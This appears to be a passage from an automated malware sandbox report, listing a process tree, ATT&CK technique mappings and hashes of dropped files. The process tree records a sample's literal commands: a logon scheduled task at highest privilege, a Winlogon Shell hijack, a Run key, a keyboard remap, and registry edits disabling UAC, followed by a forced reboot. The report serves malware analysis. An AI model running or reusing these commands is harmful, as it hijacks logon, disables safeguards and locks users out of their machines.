"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5128 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:1508

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=5248 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:2228

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5348 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:4960

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=3484 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:3632

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=5508 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:4316

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5564 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:3064

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5704 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:4012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=5232 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:2772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=5808 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:2604

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=5912 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:1996

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6036 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:3632

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5784 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:4848

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5768 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:4092

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6036 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:3736

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:3060

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:2224

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3632

C:\Users\Admin\Desktop\[email protected]
"C:\Users\Admin\Desktop\[email protected]"
1⤵
PID:4524

C:\Users\Admin\AppData\Local\system.exe
"C:\Users\Admin\AppData\Local\system.exe"
2⤵
- Executes dropped EXE
PID:3880

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\del.bat
3⤵
PID:3632

C:\Windows\SysWOW64\SCHTASKS.exe
C:\Windows\System32\SCHTASKS.exe /create /SC ONLOGON /TN uac /TR "C:\Users\Admin\AppData\Local\bcd.bat" /RL HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:1236

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
3⤵
PID:804

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
4⤵
- Modifies WinLogon for persistence
PID:2364

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
3⤵
PID:4312

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
4⤵
- Adds Run key to start application
PID:852

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
3⤵
PID:4256

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
4⤵
PID:3344

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
3⤵
PID:3396

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
4⤵
PID:800

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
3⤵
PID:4012

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
4⤵
PID:5076

C:\windows\SysWOW64\cmd.exe
C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
3⤵
PID:1260

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
4⤵
- UAC bypass
PID:2628

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
3⤵
PID:3892

C:\Windows\SysWOW64\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
4⤵
PID:4516

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c shutdown -r -t 10 -f
3⤵
PID:672

C:\Windows\SysWOW64\shutdown.exe
shutdown -r -t 10 -f
4⤵
PID:4744

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa391b855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma
Filesize
1024KB

MD5
c806c4473f82ec409d0d01281513adc3

SHA1
a2a0d2dea8fb5429c8eb339d7504936db8b7ed95

SHA256
92cd61a571d3eb9dbff4319c293faf68a9a0960bd7efac19cd413df10d0b325a

SHA512
febbaad04eaa215c13f624905fa79c93f04057432895a67e93a41343fcbd02da3424713c62b068429d75a6833981c54f1dfa2df81d9d5ec891ab40fdd5bb2895

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000006
Filesize
59KB

MD5
33d2dcc9ccf87d6ed728ab0c46235369

SHA1
249e080a07601d8537b242546067229f49a4aca1

SHA256
a455f1cebb519dc1861af1646224fb2cff08843469c0f346d93efb6745615c4c

SHA512
754e230d5ed0a578559702f43312b2cb2b282676a95218ec3213efb566fed6ca02034bc6dc7ba124afee6f9b766a0680a8e51ea377b998eb2a10d0b7de67f7cc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000007
Filesize
206KB

MD5
f998b8f6765b4c57936ada0bb2eb4a5a

SHA1
13fb29dc0968838653b8414a125c124023c001df

SHA256
374db366966d7b48782f352c78a0b3670ffec33ed046d931415034d6f93dcfef

SHA512
d340ae61467332f99e4606ef022ff71c9495b9d138a40cc7c58b3206be0d080b25f4e877a811a55f4320db9a7f52e39f88f1aa426ba79fc5e78fc73dacf8c716

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
2KB

MD5
391b9995623ea321eba0949c52f03248

SHA1
c4616cd8750ae3b27b6966c6d1c839b50db158ae

SHA256
06e73f8277d9ba93b0401adfff27eb3610a051c2112b4bbe35825a1f3f043586

SHA512
814196b6652c8b3265f17696cdea9e03d4b6c1147363d1ceca8a99d298b7daad619c8c6b7a3b647e8bf695d91bd4177a63e76abd1b66497d66c1484c65aced37

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG
Filesize
320B

MD5
0a9f6322b8df92c167182b14a08cb739

SHA1
b575aaf64a047d80ad74617acc47e174a4f6230c

SHA256
b2f88ae21d6aee0329e7013903c6602fb0ac488fbddf11918d4f4e96c77ad2b4

SHA512
4c4cc2b33691010726bf509e5e15d651c3dafd52ddc69e68d124e011b44d2f668275a5c60a62a47847ad377c240eb31991ba306ffc0966325078f83103c60e02

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG
Filesize
330B

MD5
c4aedf4da3f33d6d9b6060bcc5bbab94

SHA1
6ff9c9507fefd5ca1795c894dd580ed09a1674a9

SHA256
3d4b618df5ff3f8c7a38a02f32b99989fc6f0e8c21aa3f67d4d22bfc5a28cdce

SHA512
ba9aefddd29eb50f0c269bbfbbcf32c36659ffce1c917e048b0f048d535e579f425b73cfe45d9a73184c8179007543805fe13801c5594597704157c4b3c90ead

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Filesize
329B

MD5
075829eaf2b87b3018cb0090a9ded133

SHA1
951352a765042d93ea7093ba6a363a57f43ca09a

SHA256
db87c81cb7579d99deea2ddd4c4e70cdc04c219fb4c739b07454e4fe58cff633

SHA512
4b5c849fd1408c8f1af95105fcc3c9dba01a4700e1204aa83c5a5a1582b06aa0648c22e16d272d11f1f9214a735e955ea9b43a5f42ef61915bbbb7a68583fbb4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
5KB

MD5
8d0187181a3e78746303ba6cfca5337d

SHA1
a2573c1ca37c5e916d7831d964251413962d57d1

SHA256
a2212a14b2c4fc45680082237bb58f8a83d353c2de9550c727c645fddca56fb1

SHA512
83623ff72c1551720ba689b0909f4c3aecbc7b05b8b7c46af633612aeca1934eb970d5edca5cac89800538f78cd2b1bb4785075056b3ccf716434fc3d26e62b6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
b49ba0e87a090d87d12048b89f31ddcb

SHA1
366070c6d7ae11813345e4dff801a7c584883a13

SHA256
9a0d42cf253ef705a30d7bcf99eab39999502a2c541eabefc4adefa48ae3ea97

SHA512
ee97d90bc73c9876ec8c909b6f9aef4b7240e6f2e3c1605dcd4c83ae4c8a3ad15ac36914ea1b7ab30808b88f8cde74b865e252421cd3a685c635b3fb483bf690

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
356B

MD5
58b7482276fa74103f5da6dd9e866d36

SHA1
eaab2e75267945856296b6aa6d2f234233d8d004

SHA256
91725d7d58808e58271df90bb9b9f6c7f0d32323cfeecd94eea6367bedfa60e3

SHA512
e2df2fa05a1df314d83342624b241caa8ef5148fe8f4f6567d6dfdb7dc8deee63e0cccf68bacd96db1cee0be1415311d9bf834915b4906b36f07b1a3cae88b05

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
3329a8d96771c116e9645235422dbe14

SHA1
13bc5fbee50299264d2008784f5eb33b6a365b9d

SHA256
d9b17c9f9b6c299110503ff331266c90df6707c7b9366aef15b752caad5d7ea5

SHA512
66635a829f6e5932b26ebfa8063a48876bd3cc04759898d8cd85599892f3303df9317dd35a761d7bb07ad176b34a220a176046225b457df9c4cf1d24d13b44f1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
356B

MD5
b04cb22bf3284a858b492bd6a44f17d4

SHA1
e624385dd8fc69e63e43a60e01502727e174bebf

SHA256
962d496372756ef5b94d46ccd479240dbee0937197889ee6b134cc127fe11ac2

SHA512
94f4169c291e4696002911787a99d4f5e5e5c411e495428bc25df6428246ab04df15e25c17f548a11c19ad45c191c132db5592521db0e17cd82d13d13033b9ec

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
c7881c6a2b028f4ab643190834e075f1

SHA1
50356e93c34dc6fcae306c908870cdde24f670f3

SHA256
7e348fcea2a1a3fd06ed9663f784852d081ae424365980ab01585e796cdedb5a

SHA512
ece13da1af96d8ac559439c3fb5294c30241b0d3883ba22aa88af1260746408aa0b6017a84addb9257920101c1dec4d93ddf045a68ede9f7f54f6b657f90cfac

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG
Filesize
334B

MD5
acba1b42696d145fb54d3485c06b2092

SHA1
454b0c4cf72c7cf09840e610786070ae892df972

SHA256
28d499be6cd2aee29fa0088a9bf76fa96c00b4a49bec0560d326c3c74ab419b8

SHA512
9e33c7d1559543c00caab508bb10741e8ce82e0139e0efca13e8accb9fd923bb3b45c35d30520c8b26bedc46fa418b4e6e587e7156294d77ea25744bf9a4038d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
8KB

MD5
d3a2f9a4942728c38451ce8feb7432a2

SHA1
b0d5a6b803701bb4c43a86743e96897a0f615ef8

SHA256
6eceeb8e3a53b095282e1fcc8c0ea9ee083c52121bbf6d872163ca7884f947d1

SHA512
58acf6fdfc2d7134b1555f39ee20f553efc0264af8c53bde78b696b929fb1281acecc9d09ee1871e15e7471accbb0879e4b4d6dff7b97698ef70c8e72329ca21

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
f17f0dbe2441fca31549c0aa9abb2a37

SHA1
4ea5d07537013d3f2659e884af1c5e2267e20fc4

SHA256
2ca0caf082dcd940e1ffdf7b7db241d707da5bb1e6469de4a6d34d10b4553e3d

SHA512
3da57b3987460862d7d2de746787517978f684fa23f4085ffb3f25880423cf2f5bca663a28cace00f75103aab756134ecf3ad034a129ba614652c184714bdeaf

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
8KB

MD5
6fad929a444fb87b24d114ae769bd573

SHA1
ca5fb3cca767ecfb72fa5dc6e2d0319284b1dfd7

SHA256
32dc19e4d3639b33080e0d05d22c2837754e0b0d79f30340156db0fcceb9644b

SHA512
fe908d0d3a2b9170b51668deb72e274982d6556290a44268bacfee819ebfdfe6257973a4163241fb8d79e04ba16cf09931010e6254294e6eca77ddb88655566f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
8KB

MD5
a2226ca6209a6f64d971b0051a7f41b6

SHA1
d13802c45a92bbdf67a3382ef11087d982806e23

SHA256
824d2b6e103450c9d2c76a7b9eb997b79457e50ec8f848af11ea627a6e6a135b

SHA512
4328c4ecaf7dcc9ec95564b9a5db598fd62a5d142250d48a93ed1c0cc2a33b72e0e36a9d2863f677ccecc0033ec2205e2aa04e7fbea0e50a73a5031f27e4c243

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
bc6d773156083bbe002d7784ad66b1d8

SHA1
a87e3063ef648ecee49847f19e6ed4bbf5545078

SHA256
320ae6c5d35ab21c8c696face7d5beb35c976277710b75432fc1dfacecfb7758

SHA512
c3c8772ef47a7b0f26f2ccb5ec293f03b2e0cccb80825a4f3991d35b43764e46c825afe76ee876f2294bc4ea80e3eee25829b1f4c0dfa16850d64981eaf09753

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Filesize
16KB

MD5
fb9e74b9724feea73b7685028b04c8d4

SHA1
535d764ce29dc4644e096e99152f986983032223

SHA256
f5a8a092b5047a76b1e8cc5e9219751f5416e75f31398df69f98e6f6f682f657

SHA512
fc3cb0167c4b98c7df0fe5b44c2ecd9be6556051c553600e6bdd6feb09c3d84fa0f3dda68bcb621ed9a6264bbe1c33e4a36fc908546e4340f69e6a0f4524cb99

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Filesize
56B

MD5
94275bde03760c160b707ba8806ef545

SHA1
aad8d87b0796de7baca00ab000b2b12a26427859

SHA256
c58cb79fa4a9ade48ed821dd9f98957b0adfda7c2d267e3d07951c2d371aa968

SHA512
2aabd49bc9f0ed3a5c690773f48a92dbbbd60264090a0db2fe0f166f8c20c767a74d1e1d7cc6a46c34cfbd1587ddb565e791d494cd0d2ca375ab8cc11cd8f930

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt~RFe57d4a5.TMP
Filesize
120B

MD5
60ed1bdbbf1cf54177d8b5894aa43c95

SHA1
63dacf3033d25c9ca47567a39c2ada8c0d398e5f

SHA256
404a49b26f8a6b76bb7d9e65cf7f8aa514a3c82120caf0ae82dbb9e9821a197a

SHA512
ccdead621d48158c97bcf3f33b8d5800c9b26db435207406e943baf8450e3b598ca1027c9752ca8a4b365079e0832bd5fe30e7ef5b51f2a082aaac8ebb6f1e40

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\LOG
Filesize
336B

MD5
c598f5b65be817443ddf76b8b9995356

SHA1
ebb04660546109411e135df6703fbf2b39000bae

SHA256
5a73d3a7e8e84b3512ee2cb52b54b84ca4c47c75efc3bf49db93a27a8e0a3ad5

SHA512
b6ef7ec22c767940a5c93c4e63767e7234a58d6192ce44288dd37aa1f2a7a39d564a4904699c64dc288e426ec429a77a330b9eb2a0f371087c8acf49351e9fb9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log
Filesize
175B

MD5
6153ae3a389cfba4b2fe34025943ec59

SHA1
c5762dbae34261a19ec867ffea81551757373785

SHA256
93c2b2b9ce1d2a2f28fac5aadc19c713b567df08eaeef4167b6543a1cd094a61

SHA512
f2367664799162966368c4a480df6eb4205522eaae32d861217ba8ed7cfabacbfbb0f7c66433ff6d31ec9638da66e727e04c2239d7c6a0d5fd3356230e09ab6c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG
Filesize
317B

MD5
ba641ddb47760574f8c8c790bc1ccdd4

SHA1
7187567a380c91dc5391cf5b9a44771fd70651f3

SHA256
af975dbb810de40734c4ee6915525d025f3901132ea6d6d4f4d53fc0c0c26fd8

SHA512
bcf72c34cc0fe5ddd93b3d1872dba3ab0442bd3a9b28d775ac029dbd6236733e1d72b64dd27bdacf0970abe276a9585bd03b74694b3d43457bcb0da7efb16b7c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13361384570281008
Filesize
2KB

MD5
bfb751ca3172b7933ffaf233d5d92a0d

SHA1
b1a5341ddb419266e9ceac16eb2d1b4bc88a1e05

SHA256
6b26ff83fa6ac58e8f969e1af25ae833d9ffaf0f977eebfc24230c4a2d66152a

SHA512
405a29e27ba856d475bc12745a52d6314e0dee9f65bb2c257b420177fa60f60f34c126dd7b682b09e3f64ce0f3aa9df810dd9cb09c311be48c1f932a35c2322d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG
Filesize
345B

MD5
d76066a632846fb897d8e6d573637116

SHA1
bba8e4681500af4d4317f02f22f3bdf79f448122

SHA256
4aa057b47d9dceb2a4e82c6c0df6ab976314e852bc0a168cae44ad6c75dc1b24

SHA512
13dcb0e44defa758c9d41e02fe1ec6dcc51aefd050e43951094b2b038b7e19cb5be36616ba4c3d81ce61d21625cb322111cc4d5fdd5728a300e0e2f1de3d2b4c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log
Filesize
15KB

MD5
14bc767f279792048ed22cd63efefbca

SHA1
ec083c4294edec9da7a8e6bcc2d30de3b213445e

SHA256
85e66cc9854b3fc728ab313e9a26169af166dd5090359c62c4124b28798a425d

SHA512
32fedf788e737ed9b301348198d5c5469133ed5d70842953d18d38ada5d4d899cb6ffa2044110ea1aa37af1e91930f0af44adc4bf5627a7d98eba899c74b3e93

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG
Filesize
324B

MD5
a7784e31ba63a8d4620ad536e55c0d26

SHA1
64aa44e8d92ae8f8ae4f88c6b012ffa5aa87a0a8

SHA256
b72014c5a146a7eac57dc76e9d5afec4dfb31301e79898a91849a0271b949e50

SHA512
577aa0a6e61ec428f1a59226aab7833ccd689bb31465cc5bb737915f0143f1a370e2bc46c5304b35ac21726da5166090b8b3fee53f0c13d0703327356d973561

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\QuotaManager-journal
Filesize
8KB

MD5
c085e6ceb202d3562006d79225ba9611

SHA1
145d8d5dcc7f9c75f6abf8a6c62008f85453a67e

SHA256
3a357153f8bb9a7eacdd6ed0eb26eaf8a0289a22d1348e40dc2705372ae282cb

SHA512
72fe4c5abf64658f9c82599b1a0ce0145a01ba4e1ea2c8b3e27b9a544496af3b50c5767eda051f2a8bc4842b9f45e37d280bdbcf9267a34b085786dcdd3f4e36

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log
Filesize
1KB

MD5
068c2cffaf6ad558c901dfd3b5299bbe

SHA1
d022e7df19f17fc92a784d7f7aecda6082929d50

SHA256
4fe7cd21c62fc7261b7f9b6a9fe714f083700237988382b4e9a7e885aa04c823

SHA512
9b6dbc88761e88d41bf9b0b7e2db4206d16d2cecddd27d379a52da80b2cf2c0ebeb3c40b98418654668a3087e0ebd62119476adbe0fef272675a60b6192fa585

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG
Filesize
320B

MD5
10fa7641b0f4c3117686326d0be7f4b8

SHA1
d054b3e300a6068dea4a863f208a7cd7559b7e44

SHA256
12035d9cfbfedba8f22e0691cf71d881326c764d1d62b0e4aae0bc610c0d5718

SHA512
cbfaac5724022afd0f705a9cfec709c280b6a8b9abaff588a231ea494ca54980caf2524a8c848532c206ad5d4ef413aac114b273195adf4f704526176fc6edeb

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log
Filesize
855B

MD5
94064daf5aa22f10c4642d64b6ab864f

SHA1
e48526453f641a1cc4458155b7e98096825b4daa

SHA256
4a806b87c4b82377efe370cdf1186ee3ed6ec9cfef7c6eff228a2c09576b9cb4

SHA512
4b56bc8f88a68dd58355de1caad01b51be82452d01c57b4f46b9293c08542c8bb3e249e8ba179558954163ad5ad0a9186a99daf46cd40ec335a535d30ccc6947

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG
Filesize
338B

MD5
0a0a03ed74a68d693f44ab90f7dcfb2d

SHA1
2e8496486ed5bf14b18aa0b7bc1c3f160ba2f87d

SHA256
5fb64a75e1b75d02c16adf7775511f92dc5a34d67a55a0a4ea279201a22a0a22

SHA512
19be2658ee8d1debfb92d13acca3ef3e3aa1231aea304ee97c50c96770ff52dd5684b94588545772707b186af1e5622a209a8c4b8868d5da42c7b215c47da5af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_0
Filesize
44KB

MD5
74efd1d2c2aad2db8d6d0ead524710c5

SHA1
77b01d9a316befccd248cb404a1d8a9eadf71264

SHA256
88ec14b484f976e0bf433fe4fd18fdee57fab8ecd156a1b80f97da20193114ce

SHA512
9943da14cf2bc6a14f4746c535be3acbce82948291c051c4e19fb5b3da1dbce03d977c042632150f422872976d37a43f7a27f4eeec318994adb55bfb82105237

Download Submit
